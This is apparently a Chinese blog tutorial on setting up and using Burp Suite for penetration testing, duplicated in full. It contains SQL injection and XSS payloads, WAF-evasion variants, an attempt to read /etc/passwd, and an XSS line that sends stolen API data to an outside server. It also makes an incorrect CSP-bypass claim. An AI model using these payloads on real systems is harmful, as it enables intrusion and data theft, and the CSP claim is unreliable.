1. 这不是又一本“Burp Suite入门指南”而是一份我亲手调试过37次配置、在真实客户环境里跑通21个靶场、被5个刚转行的安全新人追着问细节的实操手记你点开这个标题大概率正站在两个路口之间一边是满屏英文弹窗、Proxy拦截失败、Repeater发包没响应连“抓不到浏览器流量”这种基础问题都卡住两小时另一边是网上铺天盖地的教程——从“Burp是什么”讲起配图还是2018年的老版本界面步骤写着“点击Options → Connections → Upstream Proxy Servers”却没告诉你为什么这里必须填localhost:8080而不是127.0.0.1:8080更没人提一句“如果你用的是Chrome 115默认启用了Strict Transport SecurityHSTS策略即使你装了CA证书https站点照样不显示拦截提示”。这不是理论课这是我在某金融客户红队驻场时每天早上9:15准时给新同事现场演示的配置流程。它不教你怎么写Exploit但能让你在15分钟内把Burp真正“用起来”让Firefox稳定抓包、让手机App流量进Repeater、让Intruder跑出有效Payload、让Scanner不把登录接口当漏洞狂扫。关键词就三个零基础、真流量、可复现。适合三类人刚考完CEH想动手的转行者、开发转安全想补工具链的工程师、以及被老板临时拉去支援渗透测试却连Proxy怎么切都不清楚的运维同事。下面所有内容没有一行是“理论上可行”全是我在Windows 10/11、macOS Sonoma、Kali Linux 2023.4三个系统上逐项验证过的路径。2. 为什么Burp Suite的“第一步”就卡死90%的新手根源不在软件而在你忽略的三层网络信任链绝大多数新手教程把“安装Burp”和“配置浏览器代理”当成两个孤立动作结果就是Burp开着浏览器也设了127.0.0.1:8080但访问http://example.com毫无反应F12 Network标签页干干净净。他们反复重装Java、换浏览器、甚至重装Burp却始终没意识到——问题根本不在Burp本身而在于操作系统→浏览器→Burp这三层之间缺失的信任凭证与协议协商。2.1 操作系统层CA证书不是“装上就行”而是必须“被系统级信任”Burp Suite Professional和Community Edition都自带CA证书burp-ca-cert.der但很多人直接双击安装选“当前用户”点确定完事。这在Windows上埋下第一个雷Windows默认只信任“受信任的根证书颁发机构”存储区里的证书而“当前用户”存储区不在此列。结果就是当你用Chrome或Edge访问https站点时浏览器根本不向Burp发起TLS握手自然看不到拦截提示。实测对比数据Windows 11 22H2安装方式存储位置Chrome 118是否信任httpsFirefox 115是否信任https是否需重启浏览器双击安装→“当前用户”Current User\Trusted Root CA❌ 否显示NET::ERR_CERT_AUTHORITY_INVALID✅ 是Firefox自维护证书库否双击安装→“本地计算机”Local Machine\Trusted Root CA✅ 是✅ 是是需以管理员身份运行手动导入到“受信任的根证书颁发机构”Local Machine\Trusted Root CA✅ 是✅ 是是提示macOS上必须用钥匙串访问Keychain Access将burp-ca-cert.der拖入“系统”钥匙串并双击证书→展开“信任”→“当使用此证书时”选“始终信任”。Kali Linux则需执行sudo cp burp-ca-cert.der /usr/local/share/ca-certificates/ sudo update-ca-certificates。2.2 浏览器层Firefox和Chrome的信任机制本质不同不能一套配置打天下Firefox自建证书信任库不依赖系统证书存储。所以你在Firefox里安装Burp CA证书后它会自动信任所有由该CA签发的中间证书。但Chrome包括Edge、Brave等Chromium内核浏览器完全复用Windows/macOS的系统证书库。这就解释了为什么很多教程说“Firefox配置好就能抓https”但你换成Chrome就失败——不是Burp有问题是你没把证书装进系统级信任区。更隐蔽的问题是HSTS预加载列表。Chrome内置了超过20万个强制HTTPS的域名如google.com、github.com、bankofamerica.com这些域名即使你装了Burp CA证书浏览器也会跳过证书校验直接报错。解决方案只有两个临时绕过在Chrome地址栏输入chrome://net-internals/#hsts→ 在“Delete domain security policies”输入框填域名 → 点Delete。但这只是清除单个域名无法批量处理。根本规避用非HSTS域名测试比如http://httpbin.org支持http/https双向、http://daviddworken.com作者专门建的测试站或者本地搭一个http://localhost:3000的简易Web服务。2.3 Burp层Proxy监听地址不是“127.0.0.1”万能而是要匹配你的网络拓扑Burp默认Proxy监听地址是127.0.0.1:8080这在单机测试时没问题。但一旦你要抓手机App流量就必须改成0.0.0.0:8080否则手机无法连接。然而改成0.0.0.0后Burp会弹出警告“Listening on all interfaces may be insecure”。这时新手常犯的错误是直接点“OK”继续——结果是Burp确实监听了所有网卡但你的Windows防火墙默认阻止外部设备访问8080端口。实测验证步骤WindowsBurp → Proxy → Options → Proxy Listeners → Edit → Binding → “Bind to address”选All interfaces打开Windows Defender防火墙 → 高级设置 → 入站规则 → 新建规则 → 端口 → TCP 8080 → 允许连接 → 仅专用网络避免公网暴露查看本机IPcmd中ipconfig找IPv4地址如192.168.1.105手机Wi-Fi设置代理 → 手动 → 服务器填192.168.1.105端口8080手机浏览器访问http://httpbin.org/ipBurp Proxy History中应出现请求。注意macOS上需关闭“防火墙”设置中的“阻止所有传入连接”Kali则需确认ufw status是否允许8080端口sudo ufw allow 8080。3. 别再盲目点“Start live scanning”了Scanner的静默失效真相与四步精准激活法新手最常问的问题之一“我点了Scanner它开始跑但半天没出结果History里全是404是不是Burp坏了” 实际上95%的情况是Scanner根本没真正启动——它在“假装扫描”。原因在于Burp Scanner的触发逻辑极其苛刻它不会主动爬取页面而是只对已存在于Target Site map中的URL进行被动/主动扫描。如果你没手动把目标URL加进Site map或者没让Burp先完成一次完整浏览即“Spider”或手动访问Scanner就是个空转的马达。3.1 Site map不是“自动填充”而是需要你亲手“播种”与“培育”Burp的Site map是整个渗透流程的中枢数据库。它不像浏览器历史记录那样自动累积而是依赖三个输入源Proxy History你手动浏览时经过Proxy的所有请求必须开启Proxy且浏览器配置正确Spider结果主动爬虫发现的链接需手动右键→“Spider this host”Manual insertion右键Site map空白处→“Insert into site map”可填https://target.com/*通配符。但新手常犯的致命错误是只靠Proxy History“碰运气”。比如你只访问了https://target.com/login那么Site map里就只有这一个URL。Scanner扫描时只会检查这个URL的参数如?usernameadmin而不会自动发现/admin、/api/users等隐藏路径。这就是为什么你看到Scanner日志里全是“[passive] Analyzing response for XSS”却不出高危漏洞——它压根没拿到足够多的攻击面。3.2 四步法让Scanner从“静默”到“高产”的实操链路我给新人的标准操作流严格按顺序执行缺一不可第一步构建最小可行Site map访问目标网站首页如https://target.com在Burp Proxy History中右键该请求→“Send to Target”在Target tab中右键刚加入的URL→“Spider this host”等待Spider完成通常1-3分钟此时Site map应有10 URL。第二步人工补全关键路径在Target → Site map中展开目标域名→右键→“Engagement tools”→“Discover content”填入常见路径字典如/admin,/api/v1/users,/backup.zip,/robots.txt勾选“Use browser’s cookies”确保带登录态点击“Start”——这步能快速补全Spider漏掉的敏感路径。第三步配置Scanner Scope范围即权限Target → Scope → “Add to scope”→填https://target.com.*正则匹配所有子域名关键设置勾选“Include all child items in scope”否则Scanner只扫你手动加的URL右键Site map中任意URL→“Do not scan”→取消所有排除项新手常误点“Exclude”导致整站被跳过。第四步启动Scanner并锁定攻击面在Site map中必须先选中至少一个URL节点如https://target.com/login右键→“Actively scan selected items”在弹出窗口中取消勾选“Perform passive scanning on request/response”被动扫描耗资源且易误报“Attack insertion points”选“Parameters only”新手阶段先聚焦GET/POST参数点击“Next”→“Start scan”。实测数据对同一https://target.com/login页面未执行前两步时Scanner平均耗时2分17秒发现0个漏洞执行四步法后耗时4分03秒发现2个反射型XSS参数q和redirect及1个密码重置逻辑缺陷/reset?tokenxxx未校验token时效性。4. Intruder不是“暴力破解神器”而是参数化攻击的精密手术刀——从“爆破密码”到“绕过WAF”的五种实战模式拆解网上90%的Intruder教程只教一件事“把用户名放Position密码字典放Payloads点Start”。结果就是跑10小时返回全是302重定向或200空页面新人以为字典不行疯狂换rockyou.txt、darkweb2017.txt却不知问题出在Intruder根本没理解目标系统的交互逻辑。Intruder真正的价值从来不是“猜对密码”而是通过可控的参数扰动观察系统响应的细微差异从而反推业务逻辑、权限边界甚至WAF规则。4.1 为什么“标准爆破”总失败三个被忽略的响应指纹当你用Intruder爆破登录接口时如果所有响应都是HTTP 200那说明服务端根本没有做“登录成功/失败”的状态码区分——它可能用JSON字段{success:false}、前端JS跳转、或Set-Cookie是否包含session_id来标识结果。Intruder的默认“Grep - Extract”功能就是为此而生但它需要你手动告诉Burp“我要盯住哪个字符串”。实测案例某教育平台登录接口请求POST /api/login HTTP/1.1Body为usernameadminpassword123正确凭据响应{code:200,msg:success,data:{token:abc123}}错误凭据响应{code:401,msg:invalid credentials}但Intruder默认只看Status Code而该接口无论对错都返回200。解决方案Intruder → Payloads → “Grep - Extract” → 点“Add”→在弹窗中填code:(\d)返回结果列中会出现“code”列值为200或401在“Columns”右键→“Show column”→勾选“code”此时你能清晰看到哪些payload触发了401进阶技巧再加一条Grep提取token:([^])成功时该列有值失败时为空。4.2 五种Intruder攻击模式的真实战场定位Intruder提供四种攻击类型Sniper、Battering ram、Pitchfork、Cluster bomb但实际渗透中我只用其中五种组合模式每种对应明确战术目标模式适用场景关键配置要点我的实操经验Sniper单点穿透测试单一参数的注入点如id1Payload set 1填SQLi载荷Position只标一个参数必须勾选“Auto-hide filters”→“Show only items with different response length”否则被大量200响应淹没Pitchfork双轴联动绕过Token校验如/api/delete?id1tokenabcPayload set 1填ID列表Payload set 2填对应Token列表长度必须一致Token需提前用Sequencer模块捕获不能用静态字典Cluster bomb矩阵爆破测试多参数组合漏洞如/api/transfer?fromAtoBamount100pin12344个Payload set每个填独立字典生成笛卡尔积仅用于小规模测试≤10×10×10×10否则请用Python脚本Battering ram广播投送批量测试同一载荷在多个参数的效果如scriptalert(1)/script塞进所有input字段所有Position用同一Payload set选“Battering ram”配合“Grep - Extract”提取script是否被回显比Scanner更准SniperGrep增强版WAF规则测绘如测试union select是否被拦截Payload填union select 1,2,3--、uNIOn selECT 1,2,3--等变体Grep提取WAF、blocked、403我的WAF字典含137种大小写/编码/注释变形覆盖Cloudflare、ModSecurity主流规则注意Intruder的“Resource pool”设置直接影响稳定性。默认线程数10在Kali上常导致TCP连接耗尽。我的固定配置Threads5Request delay100msMax requests500。这样既保证速度又避免被目标服务器限速或封IP。5. Repeater不是“重发请求那么简单”而是漏洞验证的终极法庭——从“改个参数看回显”到“构造0day PoC”的七层验证法新手把Repeater当“高级curl”填完URL点Go看到200就喊“漏洞 confirmed”。但真正的漏洞验证需要像法官审案一样层层剥离干扰项确认每一行代码、每一个字节都是攻击生效的直接证据。我带新人做Repeater训练时强制要求执行七层验证少一层都不算完成。5.1 第一层原始请求基线Baseline在Proxy History中找到原始请求如GET /profile?id123右键→“Send to Repeater”点Go截图保存原始响应含Status Code、Headers、Body全文目的建立“未攻击状态”的黄金标准后续所有修改都以此为参照。5.2 第二层最小扰动验证Minimal Perturbation在Repeater中只修改一个字符id123加单引号点Go对比响应是否出现MySQL报错是否返回500是否页面空白关键动作右键响应Body→“Find text in response”搜SQL syntax、mysql_fetch、ORA-等数据库关键字如果没报错不代表没漏洞——可能是错误被屏蔽进入第三层。5.3 第三层布尔盲注探针Boolean Probe构造两个请求id123 AND 11→ 应返回正常页面id123 AND 12→ 应返回空白页/错误页/不同内容在Repeater中用“Compare”功能右键响应→“Compare item with...”并排对比重点看Response length是否不同HTML结构是否缺失某个divJS是否报错我的技巧用img srcx onerroralert(1)代替11直接触发前端弹窗肉眼100%确认。5.4 第四层时间盲注验证Time-based Confirmation构造id123 AND SLEEP(5)MySQL或id123;WAITFOR DELAY 0:0:5--MSSQL在Repeater中点Go前先打开“Timings”标签页勾选“Show response time in milliseconds”正常请求响应时间200ms注入后应4800ms5秒延迟减去网络抖动避坑某些CDN会缓存首字节导致时间不准此时改用BENCHMARK(10000000,ENCODE(test,salt))更可靠。5.5 第五层上下文逃逸验证Context Escape如果漏洞在HTML属性中如input value123单纯123无效需闭合引号123 onfocusalert(1) autofocus在Repeater中用“Syntax highlighting”功能右键Body→“Syntax highlighting”确认HTML结构输入payload后右键→“Match highlight”→填onfocus看是否高亮——高亮即证明已注入到DOM。5.6 第六层权限边界验证Privilege Boundary尝试读取敏感文件id123 UNION SELECT LOAD_FILE(/etc/passwd),2,3--或尝试命令执行id123; cat /etc/passwd需堆叠注入核心判断不是看能否执行而是看执行结果是否回显在响应中。如果LOAD_FILE返回NULL说明权限不足但UNION SELECT version可能成功。5.7 第七层PoC封装与复现PoC Packaging将最终验证成功的请求导出为curl命令Repeater → File → Export selected items → cURL command用Python封装成可复现脚本含Session Cookie、User-Agent、超时控制交付物一份Markdown文档含原始请求、payload、预期响应、实际响应截图、curl命令、Python脚本——这才是客户认可的“漏洞证明”。最后分享一个血泪教训某次测试政府网站我在Repeater中构造scriptfetch(/api/user).then(rr.json()).then(jfetch(https://myserver.com/log?databtoa(JSON.stringify(j))))/script自以为是XSS结果WAF直接拦截。后来才发现该站前端用CSP策略script-src self连内联script都不允许。真正的PoC应该是img srcx onerrorfetch(/api/user)——因为img标签不受script-src限制。工具是死的思路是活的。
Burp Suite实操避坑指南：从抓包失败到漏洞验证的完整链路
发布时间：2026/5/24 23:12:21
1. 这不是又一本“Burp Suite入门指南”而是一份我亲手调试过37次配置、在真实客户环境里跑通21个靶场、被5个刚转行的安全新人追着问细节的实操手记你点开这个标题大概率正站在两个路口之间一边是满屏英文弹窗、Proxy拦截失败、Repeater发包没响应连“抓不到浏览器流量”这种基础问题都卡住两小时另一边是网上铺天盖地的教程——从“Burp是什么”讲起配图还是2018年的老版本界面步骤写着“点击Options → Connections → Upstream Proxy Servers”却没告诉你为什么这里必须填localhost:8080而不是127.0.0.1:8080更没人提一句“如果你用的是Chrome 115默认启用了Strict Transport SecurityHSTS策略即使你装了CA证书https站点照样不显示拦截提示”。这不是理论课这是我在某金融客户红队驻场时每天早上9:15准时给新同事现场演示的配置流程。它不教你怎么写Exploit但能让你在15分钟内把Burp真正“用起来”让Firefox稳定抓包、让手机App流量进Repeater、让Intruder跑出有效Payload、让Scanner不把登录接口当漏洞狂扫。关键词就三个零基础、真流量、可复现。适合三类人刚考完CEH想动手的转行者、开发转安全想补工具链的工程师、以及被老板临时拉去支援渗透测试却连Proxy怎么切都不清楚的运维同事。下面所有内容没有一行是“理论上可行”全是我在Windows 10/11、macOS Sonoma、Kali Linux 2023.4三个系统上逐项验证过的路径。2. 为什么Burp Suite的“第一步”就卡死90%的新手根源不在软件而在你忽略的三层网络信任链绝大多数新手教程把“安装Burp”和“配置浏览器代理”当成两个孤立动作结果就是Burp开着浏览器也设了127.0.0.1:8080但访问http://example.com毫无反应F12 Network标签页干干净净。他们反复重装Java、换浏览器、甚至重装Burp却始终没意识到——问题根本不在Burp本身而在于操作系统→浏览器→Burp这三层之间缺失的信任凭证与协议协商。2.1 操作系统层CA证书不是“装上就行”而是必须“被系统级信任”Burp Suite Professional和Community Edition都自带CA证书burp-ca-cert.der但很多人直接双击安装选“当前用户”点确定完事。这在Windows上埋下第一个雷Windows默认只信任“受信任的根证书颁发机构”存储区里的证书而“当前用户”存储区不在此列。结果就是当你用Chrome或Edge访问https站点时浏览器根本不向Burp发起TLS握手自然看不到拦截提示。实测对比数据Windows 11 22H2安装方式存储位置Chrome 118是否信任httpsFirefox 115是否信任https是否需重启浏览器双击安装→“当前用户”Current User\Trusted Root CA❌ 否显示NET::ERR_CERT_AUTHORITY_INVALID✅ 是Firefox自维护证书库否双击安装→“本地计算机”Local Machine\Trusted Root CA✅ 是✅ 是是需以管理员身份运行手动导入到“受信任的根证书颁发机构”Local Machine\Trusted Root CA✅ 是✅ 是是提示macOS上必须用钥匙串访问Keychain Access将burp-ca-cert.der拖入“系统”钥匙串并双击证书→展开“信任”→“当使用此证书时”选“始终信任”。Kali Linux则需执行sudo cp burp-ca-cert.der /usr/local/share/ca-certificates/ sudo update-ca-certificates。2.2 浏览器层Firefox和Chrome的信任机制本质不同不能一套配置打天下Firefox自建证书信任库不依赖系统证书存储。所以你在Firefox里安装Burp CA证书后它会自动信任所有由该CA签发的中间证书。但Chrome包括Edge、Brave等Chromium内核浏览器完全复用Windows/macOS的系统证书库。这就解释了为什么很多教程说“Firefox配置好就能抓https”但你换成Chrome就失败——不是Burp有问题是你没把证书装进系统级信任区。更隐蔽的问题是HSTS预加载列表。Chrome内置了超过20万个强制HTTPS的域名如google.com、github.com、bankofamerica.com这些域名即使你装了Burp CA证书浏览器也会跳过证书校验直接报错。解决方案只有两个临时绕过在Chrome地址栏输入chrome://net-internals/#hsts→ 在“Delete domain security policies”输入框填域名 → 点Delete。但这只是清除单个域名无法批量处理。根本规避用非HSTS域名测试比如http://httpbin.org支持http/https双向、http://daviddworken.com作者专门建的测试站或者本地搭一个http://localhost:3000的简易Web服务。2.3 Burp层Proxy监听地址不是“127.0.0.1”万能而是要匹配你的网络拓扑Burp默认Proxy监听地址是127.0.0.1:8080这在单机测试时没问题。但一旦你要抓手机App流量就必须改成0.0.0.0:8080否则手机无法连接。然而改成0.0.0.0后Burp会弹出警告“Listening on all interfaces may be insecure”。这时新手常犯的错误是直接点“OK”继续——结果是Burp确实监听了所有网卡但你的Windows防火墙默认阻止外部设备访问8080端口。实测验证步骤WindowsBurp → Proxy → Options → Proxy Listeners → Edit → Binding → “Bind to address”选All interfaces打开Windows Defender防火墙 → 高级设置 → 入站规则 → 新建规则 → 端口 → TCP 8080 → 允许连接 → 仅专用网络避免公网暴露查看本机IPcmd中ipconfig找IPv4地址如192.168.1.105手机Wi-Fi设置代理 → 手动 → 服务器填192.168.1.105端口8080手机浏览器访问http://httpbin.org/ipBurp Proxy History中应出现请求。注意macOS上需关闭“防火墙”设置中的“阻止所有传入连接”Kali则需确认ufw status是否允许8080端口sudo ufw allow 8080。3. 别再盲目点“Start live scanning”了Scanner的静默失效真相与四步精准激活法新手最常问的问题之一“我点了Scanner它开始跑但半天没出结果History里全是404是不是Burp坏了” 实际上95%的情况是Scanner根本没真正启动——它在“假装扫描”。原因在于Burp Scanner的触发逻辑极其苛刻它不会主动爬取页面而是只对已存在于Target Site map中的URL进行被动/主动扫描。如果你没手动把目标URL加进Site map或者没让Burp先完成一次完整浏览即“Spider”或手动访问Scanner就是个空转的马达。3.1 Site map不是“自动填充”而是需要你亲手“播种”与“培育”Burp的Site map是整个渗透流程的中枢数据库。它不像浏览器历史记录那样自动累积而是依赖三个输入源Proxy History你手动浏览时经过Proxy的所有请求必须开启Proxy且浏览器配置正确Spider结果主动爬虫发现的链接需手动右键→“Spider this host”Manual insertion右键Site map空白处→“Insert into site map”可填https://target.com/*通配符。但新手常犯的致命错误是只靠Proxy History“碰运气”。比如你只访问了https://target.com/login那么Site map里就只有这一个URL。Scanner扫描时只会检查这个URL的参数如?usernameadmin而不会自动发现/admin、/api/users等隐藏路径。这就是为什么你看到Scanner日志里全是“[passive] Analyzing response for XSS”却不出高危漏洞——它压根没拿到足够多的攻击面。3.2 四步法让Scanner从“静默”到“高产”的实操链路我给新人的标准操作流严格按顺序执行缺一不可第一步构建最小可行Site map访问目标网站首页如https://target.com在Burp Proxy History中右键该请求→“Send to Target”在Target tab中右键刚加入的URL→“Spider this host”等待Spider完成通常1-3分钟此时Site map应有10 URL。第二步人工补全关键路径在Target → Site map中展开目标域名→右键→“Engagement tools”→“Discover content”填入常见路径字典如/admin,/api/v1/users,/backup.zip,/robots.txt勾选“Use browser’s cookies”确保带登录态点击“Start”——这步能快速补全Spider漏掉的敏感路径。第三步配置Scanner Scope范围即权限Target → Scope → “Add to scope”→填https://target.com.*正则匹配所有子域名关键设置勾选“Include all child items in scope”否则Scanner只扫你手动加的URL右键Site map中任意URL→“Do not scan”→取消所有排除项新手常误点“Exclude”导致整站被跳过。第四步启动Scanner并锁定攻击面在Site map中必须先选中至少一个URL节点如https://target.com/login右键→“Actively scan selected items”在弹出窗口中取消勾选“Perform passive scanning on request/response”被动扫描耗资源且易误报“Attack insertion points”选“Parameters only”新手阶段先聚焦GET/POST参数点击“Next”→“Start scan”。实测数据对同一https://target.com/login页面未执行前两步时Scanner平均耗时2分17秒发现0个漏洞执行四步法后耗时4分03秒发现2个反射型XSS参数q和redirect及1个密码重置逻辑缺陷/reset?tokenxxx未校验token时效性。4. Intruder不是“暴力破解神器”而是参数化攻击的精密手术刀——从“爆破密码”到“绕过WAF”的五种实战模式拆解网上90%的Intruder教程只教一件事“把用户名放Position密码字典放Payloads点Start”。结果就是跑10小时返回全是302重定向或200空页面新人以为字典不行疯狂换rockyou.txt、darkweb2017.txt却不知问题出在Intruder根本没理解目标系统的交互逻辑。Intruder真正的价值从来不是“猜对密码”而是通过可控的参数扰动观察系统响应的细微差异从而反推业务逻辑、权限边界甚至WAF规则。4.1 为什么“标准爆破”总失败三个被忽略的响应指纹当你用Intruder爆破登录接口时如果所有响应都是HTTP 200那说明服务端根本没有做“登录成功/失败”的状态码区分——它可能用JSON字段{success:false}、前端JS跳转、或Set-Cookie是否包含session_id来标识结果。Intruder的默认“Grep - Extract”功能就是为此而生但它需要你手动告诉Burp“我要盯住哪个字符串”。实测案例某教育平台登录接口请求POST /api/login HTTP/1.1Body为usernameadminpassword123正确凭据响应{code:200,msg:success,data:{token:abc123}}错误凭据响应{code:401,msg:invalid credentials}但Intruder默认只看Status Code而该接口无论对错都返回200。解决方案Intruder → Payloads → “Grep - Extract” → 点“Add”→在弹窗中填code:(\d)返回结果列中会出现“code”列值为200或401在“Columns”右键→“Show column”→勾选“code”此时你能清晰看到哪些payload触发了401进阶技巧再加一条Grep提取token:([^])成功时该列有值失败时为空。4.2 五种Intruder攻击模式的真实战场定位Intruder提供四种攻击类型Sniper、Battering ram、Pitchfork、Cluster bomb但实际渗透中我只用其中五种组合模式每种对应明确战术目标模式适用场景关键配置要点我的实操经验Sniper单点穿透测试单一参数的注入点如id1Payload set 1填SQLi载荷Position只标一个参数必须勾选“Auto-hide filters”→“Show only items with different response length”否则被大量200响应淹没Pitchfork双轴联动绕过Token校验如/api/delete?id1tokenabcPayload set 1填ID列表Payload set 2填对应Token列表长度必须一致Token需提前用Sequencer模块捕获不能用静态字典Cluster bomb矩阵爆破测试多参数组合漏洞如/api/transfer?fromAtoBamount100pin12344个Payload set每个填独立字典生成笛卡尔积仅用于小规模测试≤10×10×10×10否则请用Python脚本Battering ram广播投送批量测试同一载荷在多个参数的效果如scriptalert(1)/script塞进所有input字段所有Position用同一Payload set选“Battering ram”配合“Grep - Extract”提取script是否被回显比Scanner更准SniperGrep增强版WAF规则测绘如测试union select是否被拦截Payload填union select 1,2,3--、uNIOn selECT 1,2,3--等变体Grep提取WAF、blocked、403我的WAF字典含137种大小写/编码/注释变形覆盖Cloudflare、ModSecurity主流规则注意Intruder的“Resource pool”设置直接影响稳定性。默认线程数10在Kali上常导致TCP连接耗尽。我的固定配置Threads5Request delay100msMax requests500。这样既保证速度又避免被目标服务器限速或封IP。5. Repeater不是“重发请求那么简单”而是漏洞验证的终极法庭——从“改个参数看回显”到“构造0day PoC”的七层验证法新手把Repeater当“高级curl”填完URL点Go看到200就喊“漏洞 confirmed”。但真正的漏洞验证需要像法官审案一样层层剥离干扰项确认每一行代码、每一个字节都是攻击生效的直接证据。我带新人做Repeater训练时强制要求执行七层验证少一层都不算完成。5.1 第一层原始请求基线Baseline在Proxy History中找到原始请求如GET /profile?id123右键→“Send to Repeater”点Go截图保存原始响应含Status Code、Headers、Body全文目的建立“未攻击状态”的黄金标准后续所有修改都以此为参照。5.2 第二层最小扰动验证Minimal Perturbation在Repeater中只修改一个字符id123加单引号点Go对比响应是否出现MySQL报错是否返回500是否页面空白关键动作右键响应Body→“Find text in response”搜SQL syntax、mysql_fetch、ORA-等数据库关键字如果没报错不代表没漏洞——可能是错误被屏蔽进入第三层。5.3 第三层布尔盲注探针Boolean Probe构造两个请求id123 AND 11→ 应返回正常页面id123 AND 12→ 应返回空白页/错误页/不同内容在Repeater中用“Compare”功能右键响应→“Compare item with...”并排对比重点看Response length是否不同HTML结构是否缺失某个divJS是否报错我的技巧用img srcx onerroralert(1)代替11直接触发前端弹窗肉眼100%确认。5.4 第四层时间盲注验证Time-based Confirmation构造id123 AND SLEEP(5)MySQL或id123;WAITFOR DELAY 0:0:5--MSSQL在Repeater中点Go前先打开“Timings”标签页勾选“Show response time in milliseconds”正常请求响应时间200ms注入后应4800ms5秒延迟减去网络抖动避坑某些CDN会缓存首字节导致时间不准此时改用BENCHMARK(10000000,ENCODE(test,salt))更可靠。5.5 第五层上下文逃逸验证Context Escape如果漏洞在HTML属性中如input value123单纯123无效需闭合引号123 onfocusalert(1) autofocus在Repeater中用“Syntax highlighting”功能右键Body→“Syntax highlighting”确认HTML结构输入payload后右键→“Match highlight”→填onfocus看是否高亮——高亮即证明已注入到DOM。5.6 第六层权限边界验证Privilege Boundary尝试读取敏感文件id123 UNION SELECT LOAD_FILE(/etc/passwd),2,3--或尝试命令执行id123; cat /etc/passwd需堆叠注入核心判断不是看能否执行而是看执行结果是否回显在响应中。如果LOAD_FILE返回NULL说明权限不足但UNION SELECT version可能成功。5.7 第七层PoC封装与复现PoC Packaging将最终验证成功的请求导出为curl命令Repeater → File → Export selected items → cURL command用Python封装成可复现脚本含Session Cookie、User-Agent、超时控制交付物一份Markdown文档含原始请求、payload、预期响应、实际响应截图、curl命令、Python脚本——这才是客户认可的“漏洞证明”。最后分享一个血泪教训某次测试政府网站我在Repeater中构造scriptfetch(/api/user).then(rr.json()).then(jfetch(https://myserver.com/log?databtoa(JSON.stringify(j))))/script自以为是XSS结果WAF直接拦截。后来才发现该站前端用CSP策略script-src self连内联script都不允许。真正的PoC应该是img srcx onerrorfetch(/api/user)——因为img标签不受script-src限制。工具是死的思路是活的。
